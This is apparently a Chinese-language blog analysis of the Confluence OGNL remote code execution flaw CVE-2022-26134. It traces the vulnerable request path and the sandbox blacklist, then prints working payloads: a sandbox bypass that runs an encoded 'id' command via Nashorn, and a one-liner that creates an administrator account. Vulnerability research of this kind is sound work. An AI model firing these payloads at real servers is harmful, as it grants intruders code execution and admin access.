CVE-2022-26134 Confluence Server Data Center OGNL RCE

警告
本文最后更新于 2022-06-08,文中内容可能已过时。

# 环境

windows server 2016 + Confluence 7.15.1

下载exe然后直接下一步下一步就行了。

web在8090端口,8000是rmi端口。

image.png

安装试用版,输入授权码即可。

然后配置数据库

image.png

需要额外装一个pgsql,创建一个名为confluence的数据库。

image.png

接着选示范站点,然后选在confluence中管理用户。

image.png

配置管理员账号密码,然后就安装完成了。

image.png

# 分析

官方通告上写了用新的xwork-1.0.3-atlassian-10.jar替换老的xwork-1.0.3-atlassian-8.jar

image.png

diff补丁发现

image.png

移除了com.opensymphony.xwork.util.TextParseUtil#translateVariables的调用,跟进这个函数发现这里是ognl表达式执行点。

image.png

接下来分两部分来写这个洞

  1. 正向数据流
  2. 绕过沙箱

断点打在com.opensymphony.xwork.ActionChainResult#execute然后看堆栈

image.png

在filter之后由com.opensymphony.webwork.dispatcher.ServletDispatcher#service做请求分发

image.png

getNameSpace从url中获取最后一个斜线之前的内容。

image.png

然后走到com.atlassian.confluence.servlet.ConfluenceServletDispatcher#serviceAction ConfluenceServletDispatcher是ServletDispatcher的子类

在serviceAction中先调用createActionProxy创建一个代理对象,然后调用代理对象的execute函数,在代理对象中我们的payload保存至namespace字段

image.png

接着到com.opensymphony.xwork.DefaultActionProxy#execute

image.png

这里继续调用com.opensymphony.xwork.DefaultActionInvocation#invoke

image.png

其中this.interceptors是拦截器,Confluence默认有28个

image.png

然后将自身this传递给interceptor.intercept(this),以com.opensymphony.xwork.interceptor.AroundInterceptor拦截器为例,仍会调用invocation.invoke()

image.png

以此形成迭代循环,遍历所有拦截器,在某些拦截器中会返回resultCode为notpermitted

image.png

confluence-7.15.1.jar!\xwork.xml中,notpermitted对应的type是chain

image.png

chain对应com.opensymphony.xwork.ActionChainResult

image.png

然后接着执行this.executeResult(),在executeResult中将this传递给this.result.execute(this)

image.png

this.resultthis.createResult()创建而来,在createResult中会根据resultCode来构建结果

image.png

其中notpermitted对应的result类为com.opensymphony.xwork.ActionChainResult,所以会进入com.opensymphony.xwork.ActionChainResult#execute

image.png

最后在这个地方有ognl,从http的servlet path传递给了ognl执行,造成rce。

v7.15开始,Confluence在OGNL表达式解析时加入了沙箱设置。在com.opensymphony.xwork.util.TextParseUtil#translateVariables调用ognl时使用findValue

image.png

findValue中存在安全校验

image.png

黑名单

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
sun.misc.Unsafe
classLoader
java.lang.System
java.lang.ThreadGroup
com.opensymphony.xwork.ActionContext                 java.lang.Compiler
com.atlassian.applinks.api.ApplicationLinkRequestFactory
java.lang.Thread
com.atlassian.core.util.ClassLoaderUtils
java.lang.ProcessBuilder
java.lang.InheritableThreadLocal
com.atlassian.core.util.ClassHelper
class
java.lang.Shutdown
java.lang.ThreadLocal
java.lang.Process
java.lang.Package
org.apache.tomcat.InstanceManager
java.lang.Runtime
javax.script.ScriptEngineManager
javax.persistence.EntityManager
org.springframework.context.ApplicationContext
java.lang.SecurityManager
java.lang.Object
java.lang.Class
java.lang.RuntimePermission
javax.servlet.ServletContext
java.lang.ClassLoader
java.rmi
sun.management
org.apache.catalina.session
java.jms
com.atlassian.confluence.util.io
com.google.common.reflect
javax.sql
java.nio
com.atlassian.sal.api.net
sun.invoke
java.util.zip
liquibase
com.hazelcast
org.apache.commons.httpclient
com.atlassian.util.concurrent
java.net
freemarker.ext.jsp
com.sun.jna
net.java.ao
javax
sun.corba
org.springframework.util.concurrent
com.sun.jmx
sun.misc
javassist
ognl
org.apache.commons.exec
com.atlassian.cache
org.wildfly.extension.undertow.deployment                 java.lang.reflect
io.atlassian.util.concurrent
java.util.concurrent
com.atlassian.confluence.util.http
sun.tracing
org.objectweb.asm
freemarker.template
net.sf.hibernate
freemarker.core
net.bytebuddy
org.apache.tomcat
freemarker.ext.rhino
com.atlassian.media
org.springframework.context
org.apache.velocity
javax.xml
java.sql
sun.reflect
sun.net
javax.persistence
org.javassist
javax.naming
org.apache.httpcomponents.httpclient
com.atlassian.hibernate
sun.nio
com.atlassian.confluence.impl.util.sandbox
com.google.common.net
com.atlassian.filestore
org.apache.commons.io
com.atlassian.vcache
jdk.nashorn
sun.launcher
oshi
org.apache.bcel
sun.rmi
sun.tools.jar
org.springframework.expression.spel
com.opensymphony.xwork.util
org.ow2.asm
com.atlassian.confluence.setup.bandana
org.quartz
net.sf.cglib
com.atlassian.activeobjects
com.atlassian.utils.process
sun.security
com.atlassian.quartz
javax.management
sun.awt.shell
com.google.common.cache
org.apache.http.client
java.io
com.atlassian.confluence.util.sandbox
java.util.jar
com.atlassian.scheduler
sun.print
com.atlassian.failurecache
com.google.common.io
org.apache.catalina.core
org.ehcache
getClass
getClassLoader

白名单

1
2
3
4
5
6
7
8
9
net.sf.hibernate.proxy.HibernateProxy
java.lang.reflect.Proxy
net.java.ao.EntityProxyAccessor
net.java.ao.RawEntity
net.sf.cglib.proxy.Factory
java.io.ObjectInputValidation
net.java.ao.Entity
com.atlassian.confluence.util.GeneralUtil
java.io.Serializable

还有一个不安全的表达式检查

image.png

这里直接用Class.forName拿到关键类就行了,p牛给了payload

1
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}

# 拓展

还有一些Result也调用了translateVariables

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
redirect	com.atlassian.confluence.xwork.RedirectResult
loginrequired	com.atlassian.confluence.xwork.RedirectResult
notsetup	com.atlassian.confluence.xwork.RedirectResult
notpermittedpersonal	com.opensymphony.xwork.ActionChainResult
forward	com.opensymphony.webwork.dispatcher.ServletDispatcherResult
websudorequired	com.atlassian.confluence.xwork.RedirectResult
atom03	com.atlassian.xwork.results.RssResult
rss1	com.atlassian.xwork.results.RssResult
httpmethodnotallowed	com.opensymphony.webwork.dispatcher.HttpHeaderResult
atom10	com.atlassian.xwork.results.RssResult
licenseexpired	com.atlassian.confluence.setup.webwork.EncodingVelocityResult
rss	com.atlassian.xwork.results.RssResult
readonly	com.opensymphony.xwork.ActionChainResult
notpermitted	com.opensymphony.xwork.ActionChainResult
rss2	com.atlassian.xwork.results.RssResult
notfound	com.opensymphony.xwork.ActionChainResult
invalidmethod	com.opensymphony.webwork.dispatcher.HttpHeaderResult
licenseusersexceeded	com.atlassian.confluence.setup.webwork.EncodingVelocityResult
alreadysetup	com.atlassian.confluence.setup.webwork.EncodingVelocityResult
pagenotfound	com.opensymphony.webwork.dispatcher.ServletDispatcherResult
atom	com.atlassian.xwork.results.RssResult

image.png

简单看了看,没有可控点,先搁着吧。

# 一些其他利用姿势

添加用户

1
${#this.getUserAccessor().addUser('test','test@1234','test@gmail.com','Test',@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}

SetCookie

1
${@com.atlassian.confluence.util.GeneralUtil@setCookie("key","value")}

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。